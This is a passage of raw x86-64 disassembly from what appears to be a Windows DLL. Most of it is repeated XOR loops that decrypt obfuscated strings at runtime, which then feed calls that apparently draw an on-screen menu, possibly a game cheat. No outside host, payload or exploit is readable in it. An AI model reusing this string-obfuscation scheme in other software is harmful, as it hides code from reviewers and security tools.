add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800888c0
lea rdx, [0x180248fd8]
lea rcx, [rbp + 0x15d8]
call fcn.1800032d0
mov eax, dword [0x1801c2e48]
mov r8d, r14d
movsd xmm0, qword [str.sOHUUHUK_]
mov dword [rbp + 0x1ce8], eax
movzx eax, word [0x1801c2e4c]
mov word [rbp + 0x1cec], ax
movzx eax, byte [0x1801c2e4e]
mov byte [rbp + 0x1cee], al
movsd qword [rbp + 0x1ce0], xmm0
cmp r12d, 2
jl 0x180088a38
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sOHUUHUK_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ce0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ce4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ce4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ce0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180088a50
lea rdx, [0x180248fbd]
lea rcx, [rbp + 0x1ce0]
call fcn.1800032d0
cmp byte [0x1801c2e61], r14b
movups xmm0, xmmword [str.rVUX_]
movzx eax, word [0x1801c2e60]
mov word [rbp + 0x2218], ax
movups xmmword [rbp + 0x2208], xmm0
je 0x180088c24
mov r8d, r14d
cmp r12d, 2
jl 0x180088bdb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x220c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180088ae0
cmp r8d, 0x12
jge 0x180088c24
movsxd rax, r8d
lea r9, [rbp + 0x2208]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180088bf0
lea rdx, [0x180248fd0]
lea rcx, [rbp + 0x2208]
call fcn.1800032d0
movzx eax, byte [0x1801c2e78]
mov r8d, r14d
mov byte [rbp + 0x2068], al
movups xmm0, xmmword [str.dVV_eqHRK_1._7F]
movups xmmword [rbp + 0x2058], xmm0
cmp r12d, 2
jl 0x180088d6c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x205c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180088c71
cmp r8d, 0x11
jge 0x180088db4
movsxd rax, r8d
lea r9, [rbp + 0x2058]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180088d80
lea rdx, [0x180248fe0]
lea rcx, [rbp + 0x2058]
call fcn.1800032d0
cmp byte [0x180248fc1], r14b
jne 0x180088f67
cmp byte [0x1801c2e8d], r14b
mov eax, dword [0x1801c2e88]
movsd xmm0, qword [0x1801c2e80]
mov dword [rbp + 0x1ac8], eax
movzx eax, word [0x1801c2e8c]
mov word [rbp + 0x1acc], ax
movsd qword [rbp + 0x1ac0], xmm0
je 0x180088f54
mov r8d, r14d
cmp r12d, 2
jl 0x180088f05
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2e80]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ac0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ac4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ac4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ac0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180088f20
lea rdx, [0x180248fc2]
lea rcx, [rbp + 0x1ac0]
call fcn.1800032d0
cmp byte [0x180248fc2], r14b
jne 0x1800890f7
cmp byte [0x1801c2e9b], r14b
movsd xmm0, qword [str.pE__]
mov eax, dword [0x1801c2e98]
movsd qword [rbp + 0x15e8], xmm0
mov dword [rbp + 0x15f0], eax
je 0x1800890e4
mov r8d, r14d
cmp r12d, 2
jl 0x180089097
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pE__]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15e8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15ec]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15ec], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15e8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800890b0
lea rdx, [0x180248fc1]
lea rcx, [rbp + 0x15e8]
call fcn.1800032d0
movzx eax, word [0x1801c2ea8]
lea rdx, [0x180248fc8]
movsd xmm0, qword [str.dVHPezTLZ_]
lea rcx, [rbp + 0x1328]
movsd qword [rbp + 0x1328], xmm0
xor byte [rbp + 0x1329], 0x37
xor byte [rbp + 0x132a], 0x38
xor byte [rbp + 0x132b], 0x39
xor byte [rbp + 0x132c], 0x3a
xor byte [rbp + 0x132d], 0x3b
xor byte [rbp + 0x132e], 0x3c
xor byte [rbp + 0x132f], 0x3d
mov word [rbp + 0x1330], ax
movzx eax, byte [0x1801c2eaa]
xor byte [rbp + 0x1330], 0x3e
xor al, 0x40
xor byte [rbp + 0x1331], 0x3f
mov byte [rbp + 0x1332], al
mov byte [rbp + 0x1328], 0x52
call fcn.1800032d0
cmp byte [0x1801c2ebb], r14b
movsd xmm0, qword [str.aRYIUU]
mov eax, dword [0x1801c2eb8]
movsd qword [rbp + 0x15f8], xmm0
mov dword [rbp + 0x1600], eax
je 0x1800892e4
mov r8d, r14d
cmp r12d, 2
jl 0x1800892a0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aRYIUU]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15f8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15fc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15fc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15f8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800892b0
lea rdx, [0x180248fc3]
lea rcx, [rbp + 0x15f8]
call fcn.1800032d0
call fcn.180006c20
movzx eax, word [0x1801c2ec8]
lea rdx, [rbp + 0x488]
movsd xmm0, qword [str.wSRLIO__RZ_]
lea rcx, [rbp + 0x1338]
movsd qword [rbp + 0x1338], xmm0
xor r9d, r9d
xor byte [rbp + 0x1339], 0x37
mov r8b, 1
xor byte [rbp + 0x133a], 0x38
xor byte [rbp + 0x133b], 0x39
xor byte [rbp + 0x133c], 0x3a
xor byte [rbp + 0x133d], 0x3b
xor byte [rbp + 0x133e], 0x3c
xor byte [rbp + 0x133f], 0x3d
mov word [rbp + 0x1340], ax
movzx eax, byte [0x1801c2eca]
xor byte [rbp + 0x1340], 0x3e
xor al, 0x40
xor byte [rbp + 0x1341], 0x3f
mov byte [rbp + 0x1342], al
mov dword [rbp + 0x48c], 0x436b4405
mov dword [rbp + 0x488], 0x43a00000
mov byte [rbp + 0x1338], 0x41
call fcn.180003d00
movzx ecx, word [0x1801c2ed0]
lea r15, str._0.2f
mov eax, dword [str.dRTV___]
lea rdx, [0x180248fdc]
movss xmm6, dword [0x1801ad800]
movaps xmm2, xmm7
mov dword [rbp + 0x1d0], eax
movaps xmm3, xmm6
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1d1], 0x37
xor al, 0x3c
xor byte [rbp + 0x1d2], 0x38
xor byte [rbp + 0x1d3], 0x39
mov word [rbp + 0x1d4], cx
xor cl, 0x3a
xor byte [rbp + 0x1d5], 0x3b
mov byte [rbp + 0x1d4], cl
lea rcx, [rbp + 0x1d0]
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1d0], 0x52
mov byte [rbp + 0x1d6], al
mov qword [rsp + 0x20], r15
call fcn.180008e50
movzx ecx, word [0x1801c2ed8]
lea rdx, reloc.WS2_32.dll_accept
mov eax, dword [str.rVUX__]
mov r9d, 0x3e8
mov dword [rbp + 0x1d8], eax
mov r8d, 1
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1d9], 0x37
xor al, 0x3c
xor byte [rbp + 0x1da], 0x38
xor byte [rbp + 0x1db], 0x39
mov word [rbp + 0x1dc], cx
xor cl, 0x3a
xor byte [rbp + 0x1dd], 0x3b
mov byte [rbp + 0x1dc], cl
lea rcx, [rbp + 0x1d8]
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1d8], 0x44
mov byte [rbp + 0x1de], al
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
mov eax, dword [str.dVV__]
mov dword [rbp + 0x100], eax
movzx eax, word [0x1801c2ee0]
xor byte [rbp + 0x101], 0x37
xor byte [rbp + 0x102], 0x38
xor byte [rbp + 0x103], 0x39
mov word [rbp + 0x104], ax
xor al, 0x3a
mov byte [rbp + 0x100], 0x52
xor byte [rbp + 0x105], 0x3b
lea rdx, reloc.WS2_32.dll_accept
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x100]
mov r9d, 0x2710
mov qword [rsp + 0x20], rbx
mov r8d, 1
mov byte [rbp + 0x104], al
call fcn.180008ec0
mov eax, dword [str.pJ:]
lea rdx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp + 0x20], eax
lea rcx, [rbp + 0x20]
movzx eax, byte [0x1801c2ee8]
mov r9d, 0x2710
xor byte [rbp + 0x21], 0x37
xor al, 0x3a
xor byte [rbp + 0x22], 0x38
mov r8d, 1
xor byte [rbp + 0x23], 0x39
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x24], al
mov byte [rbp + 0x20], 0x46
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
mov eax, dword [str.eB:]
lea rdx, [0x180248fc4]
movss xmm2, dword [0x1801ad7b8]
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x28], eax
movaps xmm3, xmm6
movzx eax, byte [0x1801c2ef0]
xor byte [rbp + 0x29], 0x37
xor al, 0x3a
xor byte [rbp + 0x2a], 0x38
xor byte [rbp + 0x2b], 0x39
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x2c], al
mov byte [rbp + 0x28], 0x53
mov qword [rsp + 0x20], r15
call fcn.180008e50
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x490]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x490], 0x44070000
movss dword [rbp + 0x494], xmm0
call fcn.180025700
movzx ecx, word [0x1801c2ef8]
lea rdx, [rbp + 0x498]
mov eax, dword [0x1801c2ef4]
mov r9d, 8
mov dword [rbp + 0x1e0], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1e1], 0x37
xor al, 0x3c
xor byte [rbp + 0x1e2], 0x38
xor byte [rbp + 0x1e3], 0x39
mov word [rbp + 0x1e4], cx
xor cl, 0x3a
xor byte [rbp + 0x1e5], 0x3b
mov byte [rbp + 0x1e4], cl
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x498], 0x43a00000
mov dword [rbp + 0x49c], 0x4405c000
mov byte [rbp + 0x1e0], Ordinal_79
mov byte [rbp + 0x1e6], al
call fcn.18000fcc0
movups xmm0, xmmword [str.aRYIUUO]
mov dword [rbp + 0x4a0], 0x43a00000
mov dword [rbp + 0x4a4], 0x43ed8000
movups xmmword [rbp + 0x1ed0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800897f4
cmp r12d, 2
jl 0x1800897b5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ed4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800896c0
jmp 0x1800897f4
lea r9, [rbp + 0x1ed0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800897c0
xor r9d, r9d
lea rdx, [rbp + 0x4a0]
mov r8b, 1
lea rcx, [rbp + 0x1ed0]
call fcn.180003d00
cmp byte [0x1801c2f1d], r14b
xorps xmm0, xmm0
mov eax, dword [0x1801c2f18]
movups xmmword [rbp + 0x3020], xmm0
mov dword [rbp + 0x1ad8], eax
movsd xmm0, qword [0x1801c2f10]
movzx eax, word [0x1801c2f1c]
movsd qword [rbp + 0x1ad0], xmm0
mov qword [rbp + 0x3030], r14
mov qword [rbp + 0x3038], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3020], r14b
mov word [rbp + 0x1adc], ax
je 0x1800899a4
mov r8d, r14d
cmp r12d, 2
jl 0x180089961
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2f10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ad0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ad4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ad4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ad0]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180089970
mov qword [rsp + 0x28], r14
lea rdx, [0x18024dc10]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 0x40
lea rcx, [rbp + 0x1ad0]
call fcn.18004a6e0
call fcn.180016980
movss xmm6, dword [0x1801ad7d4]
addss xmm0, xmm6
call fcn.1800257a0
movzx ecx, word [0x1801c2f24]
lea rdx, [rbp + 0x4a8]
mov eax, dword [0x1801c2f20]
xor r9d, r9d
mov dword [rbp + 0x1e8], eax
mov r8b, 1
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1e9], 0x37
xor al, 0x3c
xor byte [rbp + 0x1ea], 0x38
xor byte [rbp + 0x1eb], 0x39
mov word [rbp + 0x1ec], cx
xor cl, 0x3a
xor byte [rbp + 0x1ed], 0x3b
mov byte [rbp + 0x1ec], cl
lea rcx, [rbp + 0x1e8]
mov dword [rbp + 0x4a8], 0x43b90000
mov dword [rbp + 0x4ac], 0x43938000
mov byte [rbp + 0x1e8], 0x57
mov byte [rbp + 0x1ee], al
call fcn.18000fcc0
mov ebx, r14d
cmp ebx, 0x57
ja case.default.0x180089a7b
movsxd rax, ebx
mov ecx, dword [rdi + rax*4 + 0xab5d4]
add rcx, rdi
jmp rcx
mov eax, dword [str.fKMUW_]
mov r8, r13
movzx ecx, word [0x1801c2f2c]
mov dword [rbp + 0x1f0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1f1], 0x37
xor byte [rbp + 0x1f2], 0x38
xor byte [rbp + 0x1f3], 0x39
mov word [rbp + 0x1f4], cx
xor cl, 0x3a
xor byte [rbp + 0x1f5], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1f0], 0x50
mov byte [rbp + 0x1f6], al
lea rax, [rbp + 0x1f0]
mov byte [rbp + 0x1f4], cl
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180089ae0
lea rdx, [rbp + 0x1f0]
jmp 0x180090ce1
mov eax, dword [0x1801c2f38]
mov r8d, r14d
movsd xmm0, qword [0x1801c2f30]
mov dword [rbp + 0x1758], eax
movzx eax, byte [0x1801c2f3c]
mov byte [rbp + 0x175c], al
movsd qword [rbp + 0x1750], xmm0
cmp r12d, 2
jl 0x180089c18
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2f30]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1750], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1754]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1754], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1750]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180089c30
lea rax, [rbp + 0x1750]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180089c70
lea rdx, [rbp + 0x1750]
jmp 0x180090ce1
cmp byte [0x1801c2f4d], r14b
mov eax, dword [0x1801c2f48]
movsd xmm0, qword [0x1801c2f40]
mov dword [rbp + 0x1ae8], eax
movzx eax, word [0x1801c2f4c]
mov word [rbp + 0x1aec], ax
movsd qword [rbp + 0x1ae0], xmm0
je 0x180089e04
mov r8d, r14d
cmp r12d, 2
jl 0x180089db6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
